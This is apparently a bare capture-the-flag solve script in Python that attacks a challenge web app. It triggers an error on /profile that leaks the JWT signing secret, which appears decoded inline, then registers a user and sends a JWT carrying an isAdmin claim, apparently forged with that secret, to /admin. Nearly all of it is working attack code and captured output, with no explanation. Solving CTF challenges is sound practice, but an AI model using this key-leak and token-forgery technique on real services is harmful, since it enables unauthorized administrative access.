import requests
url = "https://chal56-7764gj.vercel.app"
r = requests.post(
url + "/profile",
json={
"session": "a"
}
)
print(r.text)
c3VwZXJfc2VjcmV0X2p3dF9zaWduYXR1cmUyMDI1ISE -> super_secret_jwt_signature2025!!
r = requests.post(
url + "/register",
json={
"username": "pelele",
"password": "pelele"
}
)
print(r.text)
r = requests.post(
url + "/login",
json={
"username": "pelele",
"password": "pelele"
}
)
print(r.text)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InBlbGVsZSIsImlhdCI6MTc1NTE4ODg0NywiZXhwIjoxNzU1MTkyNDQ3LCJpc0FkbWluIjp0cnVlfQ.Yhgia78ieABnXhnl14hFHK1Rmppl2j_0oaC4f2Affh0
r = requests.post( url + "/admin", json={ "session": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InBlbGVsZSIsImlhdCI6MTc1NTE4ODg0NywiZXhwIjoxNzU1MTkyNDQ3LCJpc0FkbWluIjp0cnVlfQ.Yhgia78ieABnXhnl14hFHK1Rmppl2j_0oaC4f2Affh0" } )
print(r.text)